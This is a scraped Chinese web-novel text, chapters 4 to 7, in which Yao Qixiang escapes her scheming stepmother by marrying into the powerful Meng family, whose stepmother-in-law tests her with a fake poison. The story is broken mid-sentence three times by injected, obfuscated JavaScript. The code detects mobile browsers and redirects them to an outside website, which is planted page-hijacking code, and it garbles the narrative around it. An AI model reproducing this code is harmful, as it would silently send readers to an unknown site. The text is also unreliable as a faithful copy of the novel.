母亲去世那年,她未满八岁,记忆中的母亲性情冷漠,却很有耐心,姚戚香在八岁之前,便因着母亲的缘故,读了很多闺阁之外的书,若有不解,都是母亲为她讲的。 从记事起,母亲与姚振廷的关系便并不算恩爱,只是表面和谐,不至于离心,所以母亲死后不久,姚振廷便将诞下儿子的邓氏扶成了正室,姚戚香从未因此怪过父亲。 她一直很清醒,从不曾奢望过什么,自然也就没有怨怪。 可母亲的死,姚振廷难辞其咎,只要找到机会,她绝不会让姚振廷好过。 “大姑娘,这是老太太亲让我交给你的,你一一核对过。”孙妈妈将一份清淡交予姚戚香,并说,“这么多年过去了,前主母的嫁妆一直被现任主母把持着,难以周全给姑娘送来,只剩下这些了,老太太让姑娘莫往心里去,等姑娘出嫁时,老太太那边再给姑娘备一份。” “烦请孙妈妈替我多谢祖母的好意,孙女一定谨记祖母的恩情。”姚戚香目光飞快扫过清淡,粗略算下来,她母亲的嫁妆已然被邓氏挥霍去了大半。 既然花了,总没有花在她身上,那就是整个姚家都有份了。 “也请祖母放心。”姚戚香笑道,“母亲她既然有命花,我自然也不会多说什么的。” 孙妈妈垂下眼来,这大姑娘话里可是藏着刀子呢,不会多说,那就是要多做了? 昨日松庭那一幕如何,孙妈妈可是从头到尾都看在眼里,起初她本以为大姑娘也无非就是会逞些口舌上的本事,没想到她手中竟真的握着把柄。 昨夜,书斋那边一夜未眠,吵闹声直闹到了后半夜,被下人瞧尽了乐子,邓氏手段用尽,主君那边却仍未松口将那外室打发了,最后邓氏大闹起来,主君也终于不耐,似乎是翻了脸。 这一切,可都要归因于眼前的大姑娘。 “劳烦孙妈妈走一趟了,清单我已看过,我送孙妈妈出去吧。”姚戚香平静地将那份清单装进了袖子里。 “老奴自去禀报老太太便是,怎敢劳烦大姑娘相送。”孙妈妈正要推辞,却被姚戚香拦住了。 “孙妈妈何必说这话。”姚戚香道,“您是家里的老人,昔年我在祖母身边时,您也是很疼我的,我到现在还记得您那道红豆糯米糕,转眼这么多年不曾尝过了。” 孙妈妈一愣,年迈的面上闪过一丝细微的动容,大姑娘口中的那些,她怎会不记得?自从前主母叶氏去后,大姑娘几乎在再未去过松庭,后面二姑娘虽然也常来,可二姑娘那个人心比天高,是不会对她这样的下人和颜悦色的。 老太太牙口不好,吃不了甜的,她那道拿手的红豆糯米糕,也有很多年不曾做过了。 “大姑娘,其实……”孙妈妈动了动嘴,迟疑一瞬终究道,“其实昨日你即便是咬死不让那桩婚事,老太太也不会眼看着不管的。” “是吗?”姚戚香不以为意,“祖母何必为了我去得罪她那个嫡亲的孙女呢?” 孙妈妈:“大姑娘,您也不想想,若非老太太知晓了情况,将主母召了过去,怎么会有松庭的那场商议……” 姚戚香微顿,她就说,邓穗音如今是家中主母,想做什么不行?一桩没有完全定下的婚事,她若真想换给自己的女儿,直接换便是了,她甚至都不会知道宋家来给她提过亲。 没想到这中间还有祖母的帮衬,恐怕是祖母知晓了此事,才没有叫邓氏胡作非为。 难道说,祖母并非是她以为的对她不管不顾吗?可这么些年了,祖母均对她不闻不问,现在又何必来管呢? 难道祖母也觉得宋家好,想让她嫁去宋家?可姚戚香不这么想。 她很知道那宋世安,少年时委屈受尽,母子二人战战兢兢讨生活,好不容易要熬出头了,亲娘却死在科考结束后。 宋世安,是和她完完全全一样的人,姚戚香不会嫁他。 “孙妈妈,二妹的婚事可定下了吗?”姚戚香问。 孙妈妈点头:“已经定下了,宋家那边并未提及名字,只说要娶嫡长女,主母已然将二姑娘的八字送去相合了。” 邓氏的动作倒是快,真难为她昨夜一夜没睡为着自己的事奔波,天一亮又为自己的女儿奔波去了。 姚戚香笑:“二妹妹真是好福气,有亲娘的人就是不一样。” 孙妈妈不好再说什么,等下人们都把箱子归置了进去,便带着人退下了。 等人都走后,姚戚香回到了屋里,随便拿了本闲书翻看,她这院子里素来冷清,不过今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429569|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日姚家冷清的不光是画堂,整个姚家都安安静静的,下人们缩头办事,不敢发出什么声响,生怕惊动了主人招惹来什么祸患。 主屋里,邓氏面无表情坐着,问自己身边的慈姑:“如何?成碧的八字可送到了?” “已送到了,小厮刚回了话来,宋家那边说今日便找人去合。” 听了这话,邓氏悬着的心放下许多,姚戚香那个鬼丫头,花花肠子多的是,眼下只要这件事定下了,她还能掀起什么风浪? “我听闻那宋世安长得一表人才,是个谦和有礼的,又听闻他与宋家主母不和,已经分家了,我的成碧嫁了过去,得一好夫婿不说,还不用受婆母的气,这桩婚事实在是好!”邓氏忍不住对慈姑念叨着,她昨晚险些气背过去,眼下这是唯一一件值得她好好高兴的事。 慈姑笑道:“夫人这般为二姑娘打算,定然是好的!” 刚说笑了没两声,方才让下去的小厮又回来了,站在门口道:“主母,孟家来人了,说是来提亲。” 孟家!?提亲!? 邓穗音险些从椅子上跳起来,她愣了一下,睁大眼睛看着小厮:“哪个孟家?” “出了三司使,又被陛下钦点为太子太傅的那个孟家。” 邓穗音脚底虚晃了两步,险些没有站稳。 孟家!?他们姚家这样的门第,居然能值得孟家这样的人物来提亲!? 她喘了两口粗气,急得一拳砸进掌心,道:“孟家定是为了成碧来的!完了,这八字合早了!” “快!”邓穗音忙整了整仪容,“速速与我去迎客!” 孟氏是盛京的名门大族,百世清流,祖上出过几任宰辅,煊赫非常,而今又听闻有个争气的长子,三元及第,年纪轻轻便受到天家重用,前途无量。 饶是邓穗音这个常闲居在家的妇人,也听说过这孟氏长子,都说他形容昳丽,清正自持,在盛京素有美名,不少贵女都对他青眼有加,照此发展下去,以后的孟氏家主之位一定非他不可! 邓穗音心跳如雷,便往前厅走,便催人道:“快、快命人去将主君请来。” 孟家主母常氏出身并不算显赫,不过生得十分美艳,年过三十保养得宜,脸上连一丝皱纹都没有,就是从马车走出,被人扶下车的这两步里,也显出贵妇的从容与仪态来,叫邓穗音不禁有些紧张。 “今日我贸然到访,叨扰了。”常秋兰嘴角噙着淡淡的笑意,对她道。 “孟夫人哪里的话!”邓穗音忙作请势,“快快进门上座吧!” 常秋兰被迎入了客室,又被奉上了上好的茶点,这才缓缓吐露来意:“想必我那小厮已同你们说过了,今日我是来提亲的。” 邓穗音紧张地握了手,忙开口:“是……不知贵府是替哪位提亲呢?” “我那小儿还不懂事,自然是为长子来的。”常秋兰笑着开口。 长子!? 邓穗音睁大了眼睛,长子那不就是……那不只能是…… 她带了丝不可思议地问:“是、可是孟司使?” 见常秋兰点了头,邓穗音心中一震,随后又化为浓烈的狂喜——居然是替孟扶危说亲的! 该死!这亲事要早了!宋家那桩婚事就该让姚戚香去! 邓穗音这边赔着笑,心里恨不得打自己的嘴。 然而还没等她想出对策来,就听见常秋兰的下一句:“我看上了你家长女,姚戚香,意欲聘于我儿为妻。” 5. 第5章 姚戚香!?又是姚戚香?这宋家和孟家,怎么一个两个的都要她?邓穗音甚至开始怀疑,自己当初刻意散播的到底是不是姚戚香的恶名了。 “这……”邓氏开口,意欲搪塞,她怎么能眼睁睁看着姚戚香嫁入高门去?倘若真这样了,她恐怕下半辈子都睡不安生。 “怎么?姚夫人有何为难之处?”常氏向她撇来。 向来做惯了高门主母的,人前人后都是高人一等,盛气凌人是天生的,邓氏被她这一眼看得一时不敢扯谎,上下牙关打了个颤,改口道:“没什么,就是孟夫人今日来得突然,我还没来得及问过她……” 邓穗音一边回话,一边脑子里飞速流转着,正此时,听见外面小厮说主君回来了的时候,她心头突然落下一个主意,觉得值得一搏! “孟夫人见谅,贵客初至,有失远迎了。”姚振廷自门外来,下人们都看出他脚步飞快。 常氏笑笑,道:“无妨,原也是我不曾下拜帖,突然叨扰的。” 姚振廷已然从下人口中得知了常氏的来意,他看了邓氏一眼,忙道:“承蒙孟夫人看得起我那丫头,不过小女还尚未及笄,不如等她过了笄礼再……” “不必了。”常氏出声打断,直截了当,“我既来了,自然会多方打听,你们家的老二既然已经许了宋家,就该好好守着与宋家的婚约才是,我今日来是专程为大姑娘姚戚香下聘的,听闻她心思灵巧,冰雪聪明,这满京的贵女中,我独看中了她。” 姚振廷只觉得一噎,不过他很快转过了弯来——管是哪个女儿,只要是能嫁入孟家。 “今日,你们这大姑娘应该在府上吧?若是方便,烦请她来与我见见,当面见过说了话才好决定要不要定下。”常秋兰道。 她是高门中人,对上姚家便少了许多的场面话,说话也直接,不过是笃定了姚家也不敢驳她的面子。 邓穗音喉间哽了哽,原本想说姚戚香病了不方便见客,可转念一想,这常氏将府上的情况摸得如此清楚,就不敢当面扯谎了。 “孟夫人稍坐。”邓氏道,“我这便让人叫戚香出来。” 话音未落,邓穗音接到姚振廷一个眼神,夫妇二人齐齐走出了客室。 画堂之内,姚戚香正路过院中,就见一个人躲躲闪闪地过来,在她院子门前站定了。 她瞥了一眼,发现那人是姚振廷身边的一个小厮,用了多年了,姚戚香记得从她记事起,这个人便在。 “怎么了?”姚戚香出声。 那人得了询问,这才进了院门,靠近了过来用只有姚戚香才能听得见的声音道:“姑娘,前厅那边有人来提亲,是向姑娘你提亲的,姑娘可千万要拒了。” 姚戚香看向他,觉得好笑,她面上不显,只淡淡问:“什么意思?” 小厮压低了声音:“主君差我来告诉姑娘一声,那人有隐疾。” …… 姚戚香觉得这事儿实在是太有意思了。 宋家就不说了,早知她在盛京名声如此,竟还有人上门向她提亲,倘若真有人来,姚振廷只怕是要欢欣鼓舞,巴不得送她出去了,居然还会因为这种事叫她不要答应? 那么只能是其一,姚振廷看不上对面的门户,她虽是废棋,但结姻亲之事于姚振廷尚有几分利用价值,姚振廷不愿彻底放弃了她。 其二,对面门户太高,姚振廷唯恐得罪。 她在脑子里飞快地思虑了一圈,叫住已转身走了几步的小厮:“站住。” 小厮猛地停住脚步。 姚戚香看着他的反应,询问:“来提亲的是什么人?” “这……小人不知,小人在前厅待了没一会儿,主君就让小人来了。” “是吗……”姚戚香垂眸,“那,父亲又怎会知道如此私密之事?” 小厮低头:“那家人主君认得,且素有些交情,主君自然知晓对方家中的一些事,那家的主母一会儿便会遣人来唤姑娘,姑娘只管拒绝就是了。” 姚戚香开口:“好,我知道了。” 一炷香的时间过后,果然有人来请,姚戚香心中拿定了主意,跟着人往前厅走。 到了前厅,姚戚香才知原是那家的主母与她私下说话,她进了门,见端坐一旁的妇人穿着不凡,便知来提亲的出身不低。 姚振廷一个五品郎中,还能知道高门大院里的私密事?况且还是对方家中男丁的私密事。 “见过夫人。”姚戚香规规矩矩行了礼。 常秋兰向她投来目光,对上她那双乌黑深沉的狐狸眼,心中当即就升起一个念头——这丫头的面相看着就不是个安分的。 常秋兰满意地勾了勾嘴角:“你便是姚戚香吧?” 姚戚香与姚成碧不同,她那二妹尚且被邓氏带着时常出入各家的宴席,可她从未去过,是以就算这人来到了她面前,她也不知道对方究竟是哪家的夫人。 “正是。”姚戚香一边回话,一边思虑着——既是高门,要什么样的女子找不到?为什么偏偏要找她?这里面定然有什么内情。 “你可知晓我儿?他叫孟扶危。”常秋兰开门见山。 孟扶危?姚戚香曾从姚成碧口中听过这个名字,大致是说他多么多么好,长得多么多么俊俏,由于姚成碧夸过的人不少,所以当时她并未放在心上。 姚戚香面色不变,只微微摇了摇头,道:“夫人见谅,我自幼身体不好,甚少出门,对外面的见闻少了些。” 常秋兰看着她这样,眼中的笑意只增不减,她道:“我知道你素来名声不好,外面的人家没人愿意请你赴宴,你的母亲邓氏非你生母,也不愿为你打算,我这里有一笔交易,不知你愿不愿意做?” 不成想对方说话竟如此直截了当,姚戚香抬眸看向来人,眼中装出来的笑意也淡了下去。 …… 一炷香之后,孟家人放下了聘礼,签下了婚书,领着自己的仆从浩浩荡荡回去了,这一条街的人都知道,孟主母带着聘礼在姚家待了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429570|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久,必然是在议亲了。 鲜有人会在意姚家嫁的是哪个女儿,满京的人都在关心,这孟主母究竟在替谁说亲? “孟二不是连功名都没有吗?也还不曾及冠吧?” “若不是他,难道这姚家还能够得着那位?” “要我说,不管是谁,孟家能找上姚家就够稀奇的了。” “别不是……有了什么私下的来往,闹出了人命吧?” 外面的流言纷纷,姚戚香并不在意,她回到了屋中,仔细想着今日那孟家主母对她说过的话:“你已无生母,又与继母生了嫌隙,若非孟家,难道你还能找到比这个更好的出路吗?只要你肯事事听命于我,让我高兴,我便让你嫁入孟家,做孟氏的长媳。” 房门外传来脚步声,一人走了进来,低声在姚戚香耳边道:“姑娘,打听到了,这事儿在京中也算人尽皆知,并不难打听,奴婢没有惊动府中的人。” 姚戚香点点头,示意她往下说。 “孟氏的主母,并非孟司使的生母。” 哦,又一个继母。 这么一想,姚戚香就大致明白了,因着是继子,所以不想给他娶个好的,成为他的助力,她名声败坏,也算符合了要求。 二来,她与姚家早已决裂,出嫁是女子一辈子的事,为着这个,她也得向孟氏主母服软,“效忠”于她,她娘家无人,很好拿捏,这孟扶危不就娶了一个耳目回去? 姚戚香很好奇,这孟扶危既然是皇帝心腹,又身居高位,难道自己的婚事就任由这继母摆布了吗? 今日她定下了婚约,婚事在即,不会最后又被反悔了吧? 这夜姚戚香早早歇了,殊不知一夜之间消息不胫而走,第二天一早,孟扶危要娶她姚戚香为妻的事已经传遍了京城。 这件事宛如一个惊雷在京城炸开,茶楼酒馆,无一不在议论此事。 “你说娶的是谁!?” “就是那姚家的长女,姚戚香啊!” “就是姚家那个……混出了名的女儿?” “这孟家是得了失心疯吗?怎至于如此低就?” “……我说什么来着?定然是那姚戚香狐媚勾引,说不定都闹出了人命来,这才不得不结亲呢。” 往日姚戚香出不得门,现在她婚事在即,邓氏反倒让她出门了,许是巴不得她在这中间出了什么岔子,将这桩婚事断送了才好。 她戴着斗笠和头纱,就坐在茶楼听着周围人的议论,说来说去,左不过是又给她扣上几顶帽子,这婚约本就是两家之事,这些人不敢置喙孟家,自然只会来说她。 不过她眼下顾不得这些了,邓穗音铁了心想将她送走,而她又在众人面前戳破了姚振廷的私事,孟氏主母说得对……这桩婚事于她,是棵救命稻草。 婚事定在三月初十,因时间仓促,姚家以为这婚事大约不会多体面。 可在初十早晨,看见孟家浩浩荡荡来结亲的车队时,邓穗音还是忍不住红了眼。 6. 第6章 盖头落下来时,姚戚香只见一片的红,她抬头时能瞧见身边隐约的人影,低头时就只瞧得见自己的鞋尖。 她身上穿着的这身嫁衣,是孟家送来的。邓氏未给她准备嫁衣,想来是看着她嫁了,索性装也不装了,连最后一点的表面功夫都懒得做。 姚戚香真是意外,孟家那位主母居然能细心到这个份上,是看出了邓氏的为人,这才贴心送了一份来? 她现在得了母亲的陪嫁,邓氏又象征性给她配了些嫁妆,如今也算有些资产,等去到孟家,若遇上什么事也有的周旋。 她站在门中,听见吱呀一声门开了,外面等候着迎她的喜婆便喊:“新娘子出来了。” 晨露和月华两个人一左一右扶着她往正厅去,她须拜别了姚振廷和邓穗音,聆听了他们的教诲,才可出门。 盛京春日里多晴朗,一片艳阳洒下来,落在她朱红的嫁衣上,泛起粼粼的光泽来,仿佛为她披上一层霞光,正厅里静悄悄的,主君主母皆板着一张脸,下人们也不敢欣喜,只叫苦今日忙活了一场,恐怕连个赏钱都拿不到。 “父亲,母亲,女儿出嫁了。”姚戚香出声,她的声音里藏匿着一丝笑意,“还望父亲母亲各自珍重。” 姚振廷抿紧了嘴,本不欲说些什么,又抹不开面子,只道:“嫁人后,要敬爱夫君,谨慎守戒,不论何时都无有违逆,应事事顺从。” 姚戚香应:“女儿知道了。” 邓穗音深吸了一口气,也看向她道:“为人妇要勤勉,上敬长辈,下恤子孙,莫要忘了你在闺中所学的礼教。” “请母亲放心。”姚戚香笑,“女儿定以母亲为榜样,日日记着母亲这些年的教诲。” 邓穗音只觉得刺耳,她只觉着,姚戚香在暗示她些什么。 姚戚香盖着盖头,邓穗音看不见她的表情,便不知那盖头之后,姚戚香正冷冷盯着她瞧。 孟扶危有隐疾? 这个问题,在小厮说完之后她百思不得其解,可在与孟氏主母谈话之后,她就突然明白了。 什么隐疾不隐疾的,姚振廷身边的那个小厮分明是邓穗音派来的,为的就是让她以为孟扶危真的不行,好让她对这桩婚事心生退却。 邓穗音不愿看她嫁入高门,她亲自阻断了她与宋家的姻亲,却不想反倒叫她嫁进了门第更高的大族孟家。 一个孟氏姻亲会对仕途有多大的助益,姚振廷不可能会拦着她嫁,即便是孟扶危真的不行,姚振廷都巴不得她嫁过去呢,怎么会拦?是邓穗音这次没办法从中作梗,江郎才尽了,才想出这么个法子,希望她能知难而退。 可邓穗音还是想差了,行与不行的有什么关系?于姚戚香来说,不行倒还省了她的事。 今日祖母王氏并未出面,只叫孙妈妈过来,给姚戚香送了套新的头面首饰,姚戚香接过的时候,听见孙妈妈压低声音道:“老太太让我转告姑娘,孟家不必姚家,高门规矩更多,还望姑娘懂得人在屋檐下的道理,可不能再像以前那样胡作非为了。” “孙女知道了。”姚戚香接过了东西,看向邓穗音道,“在离开之前,女儿有一件事,还望母亲答允。” “晨露与月华是女儿身边用惯了的人,希望母亲能给我带上。” 历来姑娘出嫁自然是要带陪嫁丫鬟的,姚戚香能带的也只有两个,她知道她若现在不开这个口,依照邓氏的性子,一定会给她换两个新的耳目来。 还不如留着晨露和月华。 邓穗音的目光沉了沉,道:“你都这样说了,我自然也不好驳你,那你就带着吧。” 这边的事了了,姚戚香转身出了家门。 “新娘子上轿咯!” 姚戚香没能看清前迎亲队究竟是个什么模样,更没能瞧见此刻骑在马上等着她的孟扶危是个什么模样,她并不想多生枝节,只是低着头被扶上了轿子。 轿身微微一颤,紧接着平稳地起来,便踏上了前去孟家的路。 “你说,那些传闻是不是真的?这孟姚两家的婚事办得如此仓促,难不成真的有了?” “不好说,方才我盯着新娘子的肚子瞧了半天,不像是有了身子的样子。” “哼,一个这样小门户人家的女儿,能嫁给孟司使?没用些手段我是不信的。” 这些话,姚戚香都一一听在耳中,她对别人的议论并无感想,若是有了,那么早在盛京传她目无尊长,不知礼教的时候就该上吊了,她现在满心都想着今后的打算。 以及今夜,她要如何度过。 不知过了多久,轿子被慢慢放了下来,轿身倾斜,姚戚香从里面走出,她看不清前路,下意识伸手去扶,指尖的触感却已截然不同了。 更硬,更加有力,这是一个男人的手臂。 她下意识想抽回手,却听见一句:“是我。” 那声音清冷低沉,甚至有些像是幻觉。 姚戚香垂下眼来,瞥见视线中那双同样绣着金线朱红的乌金靴,才确认了现在扶她的不是旁人,而是孟扶危。 太不真实了,这种感觉。 从这桩婚事定下起,姚戚香其实一直都觉得很不真实,她从未想过自己能够高攀上孟家这样的门第,心里其实一直在准备着会被退亲,可没想到她就这么稳稳当当等到了婚期,甚至稳稳当当站在了孟家门口,木已成舟。 即便她此刻已经触碰到他,可还是觉得很不真实,孟扶危这个人,好像凭空出现在她的生活中一般,她从前从未见过,更不了解他,可他就这样突然成了她的夫君。 姚戚香没有用力去扶,只是虚搭着,接下来的几步她走得格外小心。 引进家门,拜了天地,姚戚香循规蹈矩,脑子里还混沌着,她心中没有别的感觉,只是觉得周遭很吵,恭贺的、议论的,那些声音不绝于耳。 直到有人轻轻扯了扯她的袖子,姚戚香才反应过来,礼已尽了,月华和晨露扶着她要入洞房去。 姚戚香微微松了口气,到此刻她才终于觉得,与孟家的婚事完全落定,再无转圜的余地了。 前行了数步,距离宴席那边渐渐远了,姚戚香还要往前走,身边的晨露和月华却停了下来,月华还轻轻拉住了她。 这是到了? “你过来,我有话与你说。” 一个熟悉的声音响起,姚戚香慢慢掀起了盖头,发现自己正在一条连廊之下,而她的前方站着的是孟氏主母。 姚戚香忽然有了种不祥的预感,她示意月华晨露留在原地,自己走上前去。 “……婆母。”姚戚香改了口。 常秋兰淡淡哼了一声,若非姚戚香看见她嘴角微微抬起,都听不出这是一声笑。 “而今你如愿嫁过来了,可还记得你我当时的约定?”常秋兰开门见山。 姚戚香:“儿媳记得,今后必会好好侍奉婆母。” “你跟我打的什么哑谜?”常秋兰的眼神冷了冷,“从今日起,你便是孟家的人了,你一身荣辱皆由我说了算,你觉得你若不依附我,姚家的人可会助你?” 姚家自然不会助她,可姚家也不是什么清净之地,她从小龙潭虎穴闯过来的,难道换一个高门,她就怕了不成? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429571|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“请婆母明示。”姚戚香道。 常秋兰递给姚戚香一个瓶子,待姚戚香伸手接过之后,她道:“这是鸩毒,我要你今夜下在孟扶危的酒杯之中。” 啪嗒一声,药瓶掉在了地上,没想到还挺结实,竟然没碎。 姚戚香暗恼,不过她面上不显,只露出惊慌失措之色:“您、您说什么?妻杀夫,那是要凌迟的!” “怎么?你不肯?”常秋兰只是看着她。 “……自然不肯。”姚戚香道,“诚如婆母所言,儿媳来这里,是为了求一条活路的,绝不敢做下这样的事!” 她像是害怕,甚至连身子都开始颤抖起来。 常秋兰将她的反应一一收入眼底,半晌,她又开口:“放心吧,这瓶子里装的只是普通的桂花油,姚戚香,只要今后你乖乖听我的话,我便让你坐稳这正妻之位,谁也奈何不了你。如若不然,就莫怪我心狠了。” 说完了话,常秋兰冷冷看了姚戚香一眼,转身走了。 看着常氏走远,姚戚香一脸惧色也褪为平静,她将地上的小瓶拾起来,放在鼻尖仔细闻了闻,果然嗅到一股淡淡的香味。 孟氏主母是在试探她的胆量,刚才的事,就算她说出去常氏也不会怕,只因太过匪夷所思,无人会信。 是试探,也是威胁,常氏动不了孟扶危,难道还动不了她一个小官家被抛弃的女儿吗? 若她不顺常氏的意,说不定哪日,真正的鸩毒就会出现在她的饭食中。 姚戚香站在廊下少顷,又将盖头放了下来,继续被孟家的下人带着进了婚房。 起初屋里还是安静的,然后渐渐从远处来了说话声,接着有数人依次进了门,有一双稳健的脚步落在她身前,姚戚香垂眸又瞧见了那双乌金靴。 紧跟着视野渐渐开阔,一根金杆将她的盖头揭起,姚戚香才看清她未来的夫君长什么模样。 屋里点着许多盏灯,他就站在无数团光晕之中,冷峻的眉眼透着淡色,眼神像是落在她身上,又像是透过了她,笃笃一声轻响,喜称被他放回了托盘,姚戚香下意识瞥向他修长如玉的手。 她有些怔愣,脑袋里也有些空泛,一时之间,姚成碧的声音突然在她脑海里清晰起来:“我今日瞧见了孟氏长公子,他可真是如琢如玉,矜贵不凡,天上一般的人物,也难怪赵家姐姐巴巴想嫁给他。” 那么久远的一句话,此刻却像是响在姚戚香耳边一般,饶是她从未对这门亲事有过半点指望,此刻也禁不住脸颊发热。 除了姚家那些小厮,她这辈子甚少见外男,突然见了个这般颜色的,一时有些反应不过来。 直到那只好看的手,将一只酒杯递到了她面前,在喜婆的说话声中,姚戚香才回过神来。 “请新人饮合卺酒。” 姚戚香接过酒盏,依照着孟扶危的样子与他手臂相交,鼻尖便被灌入一股淡而冷冽的兰香。 从前姚戚香不曾饮过酒,这酒有些辛辣,她饮得鼻头发酸,还未反应过来之际,那喜婆一阵风似的刮过,从她身上剪下一缕头发来。 喜婆巧手,熟练地将她的青丝与孟扶危的缠在一起,编为同心结,周围的下人便都齐齐开口:“祝长公子与夫人结发同心,早生贵子,白头到老。” “退下吧。”孟扶危开口,他的声音音色总是泠泠,与这满屋热闹的景象很不相称。 得了他的话,下人们便依次退下,各个面上都带着喜色,她们知道出门之后,每个人都有丰厚的赏银拿。 门被关上了,屋里陡然安静下来,此刻真真只剩下两人相对了。 7. 第7章 姚戚香深呼吸了一番,她坐着,不动,等孟扶危先开口说话。 这偌大的婚房就他们两个坐着,春日里天气也凉爽,可姚戚香偏觉出一层热来。 她目光瞥向别处,静静等了一会儿,余光见坐在她身侧的孟扶危起了身,往前两步坐在了桌子旁,对她开口:“过来吃些。” 姚戚香起了身,她确实饿了,从早上喝了两口热粥到现在,什么都没吃。 桌子上的菜式分量不多,胜在精致,花样多,都是取的吉祥如意的兆头,姚戚香动了几筷子,期间孟扶危只是饮了些酒,连看都没有看她一眼,仿佛屋里没有她这个人一般。 姚戚香暗想,难怪这桩婚事他都不推拒,八成他自己也根本就不在乎娶个什么样的妻子回来。 吃了几口,姚戚香大致觉得差不多了,孟家主母与她这个夫君不对付,目前她尚且可以看得出那孟家主母不是什么好人,那孟扶危呢? 姚戚香能出门的这几日,可四处都在打听孟扶危的消息,京中把他夸得一朵花似的,可他本人真有那么好吗? 这不好说,毕竟京中她的名声可不怎么样,不过姚戚香觉得自己还不错。 姚戚香放下筷子,孟扶危看着是个性子冷的,话不多,可新婚夫妇,总不说话也不成,她还要摸一摸孟扶危这个人的底细。 于是,姚戚香忍不住开口:“你…不用去宴上吗?” “不必。”孟扶危答了,他朝她看过来,如此近的距离,姚戚香很轻易就瞧见了他眼中的冷淡,除此之外,还有一种慑人的气势,弄得姚戚香浑身不适。 他不去宴上敬酒招待?姚戚香脑子里忍不住想,是因为他现在已经位极人臣,外面那些不配他敬吗? 总有长辈,她记得孟扶危的父亲不是健在吗? 这种事,姚戚香不好细问,孟扶危不去便不去吧,那眼下…… 姚戚香轻轻抿了一口酒杯,头一次有些没了底气。 一会儿……他们不会要循规蹈矩吧? 许是她的心思太过暴露,竟听见孟扶危道:“放心,你是她找来的人,我不会动你。” 姚戚香抬眸,见那人还是端端正正坐着,一点表情都没有,从她进门看到这个人起,这人便一直如此冷淡,对她全然视而不见,好像这桩婚事于他是天大的委屈一般。 姚戚香突然有点来气,她承认这桩婚事于她是雪中送炭,可那也是她自己争取来的,又不是求着孟家要嫁过来,孟扶危既不愿配合,愿意冷着,那她又何必如此上赶着? “行。”姚戚香索性起了身,“既然话到这儿了,那不如再明白些,你既不愿这桩婚事,我也不会勉强你尽人夫之责,咱们各过各的,相安无事便好,我不指望你与我体贴恩爱,你也别想着我能为你贤良淑德,我姚戚香是个什么人,想必孟司使也是很清楚的吧?” 说到此处,孟扶危终于正眼向她看来,姚戚香坐回了床上,与他隔了段距离才道:“我承认眼下这桩婚事于我有益,所以若你要我做什么,我也不会拒绝,便全当是场交易,待他日我办完了我的事,咱们和离便是。” 顿了顿,她又补充:“你放心,要不了多久的。” 她说了一大堆,姚戚香自问十分坦诚了,这下孟扶危总能不再端着他那副架子,与她开诚布公好好说道一番了吧? 可等了半天,姚戚香还是一个字都没有等到,她忍不住掀眸,见对方只是安静坐着,垂着眼眸不知在想些什么,仿佛根本没有把她的话听进去一般! 姚戚香有些火大,她是一个小官家出身的女儿,可他也不必如此对她瞧不上吧?行,不说拉倒! 姚戚香顺势躺下,顺手一把给自己盖上了被子。 她是不想管那个闷葫芦了,爱怎么着怎么着,她要睡了,她今儿站了一天,累都累死了。 ……突然,姚戚香脑袋里生出一个念头——有没有一种可能,这孟扶危……他真的不行? 或许邓穗音叫人传的消息是真的呢?孟扶危真有什么隐疾呢? 所以,他才如此沉默,或许不是看不起她,而是生怕她提起圆房之事? 姚戚香掀眸,眼睛眯成了一条缝,偷偷看了孟扶危一眼,那人还在沉思。 不知道为什么,一旦形成了这种念头,姚戚香突然觉得孟扶危也没有那么高高在上了,他的身影,甚至有一丝落寞,他的表情,甚至有几分委屈…… 嘶……姚戚香合上眼,默默把被子拉过了胸口,拉到了自己下巴上。 他不会想着想着,突然想开了,突然过来要和她那什么吧? 不行!姚戚香紧紧闭上眼睛,她得赶紧睡! 姚戚香睡眠质量一向不错,一旦拿定了主意要睡,顷刻间便睡着了,这一觉睡到大天亮,朦胧中感觉有人推了推她。 “夫人,起了!快快梳洗一番,您还要去向主母敬茶呢!” 姚戚香猛然清醒过来,等等,她昨晚和衣而睡,这要是让女使瞧见…… 姚戚香猛地低头,下意识伸手往胸口摸了一把,才发现自己的婚服不知何时被脱了,只剩下里衣。 谁给她脱的衣服? 月华与晨露将她的动作看在眼里,她们虽从前受命于邓氏,但也不过都是半大的丫头,此刻见到她这样,个个眼中不觉流露出笑意来。 “早晨天刚亮,姑爷就出去了,说是要出趟门,等到了时辰敬茶的时候,他再过去。”月华一边扶姚戚香起身,一边交代。 孟扶危是天亮才出去的?姚戚香疑惑,那他昨晚睡在哪儿了?她夜里睡觉素来警醒,就算昨晚累了,她睡得沉了些,可也不至于身边躺了人都不知道。 也就是说,孟扶危昨夜没上床? 姚戚香打量了一下房中,这里也并未放第二张床,难道昨晚孟扶危是在椅子上过的? 